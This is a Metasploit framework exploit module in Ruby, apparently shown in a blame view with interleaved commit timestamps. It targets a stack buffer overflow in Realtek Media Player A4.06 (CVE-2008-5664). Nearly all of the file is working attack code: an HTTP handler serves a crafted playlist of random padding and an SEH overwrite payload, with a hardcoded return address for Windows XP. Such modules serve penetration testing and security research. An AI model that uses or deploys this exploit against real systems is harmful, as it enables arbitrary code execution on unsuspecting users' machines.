metasploit-framework/modules/exploits/windows/misc/realtek_playlist.rb

71 lines
1.8 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Realtek Media Player Playlist Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Realtek Media Player(RtlRack) A4.06.
When a Realtek Media Player client opens a specially crafted playlist, an
attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2008-5664'],
[ 'OSVDB', '50715'],
[ 'BID', '32860' ],
],
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Realtek Media Player(RtlRack) A4.06 (XP Pro All English)', { 'Ret' => 0x72d12899 } ], # msacm32.drv 5.1.2600.0 (xpclient.010817-1148)
],
'Privileged' => false,
'DisclosureDate' => 'Dec 16 2008',
'DefaultTarget' => 0))
end
2013-08-30 21:28:54 +00:00
def autofilter
false
end
2013-08-30 21:28:54 +00:00
def check_dependencies
use_zlib
end
2013-08-30 21:28:54 +00:00
def on_request_uri(cli, request)
2013-08-30 21:28:54 +00:00
return if ((p = regenerate_payload(cli)) == nil)
2013-08-30 21:28:54 +00:00
pla = rand_text_alpha_upper(200)
pla << generate_seh_payload(target.ret)
pla << rand_text_alpha_upper(1266)
2013-08-30 21:28:54 +00:00
print_status("Sending exploit")
2013-08-30 21:28:54 +00:00
send_response_html(cli, pla, { 'Content-Type' => 'text/plain' })
2013-08-30 21:28:54 +00:00
handler(cli)
2013-08-30 21:28:54 +00:00
end
end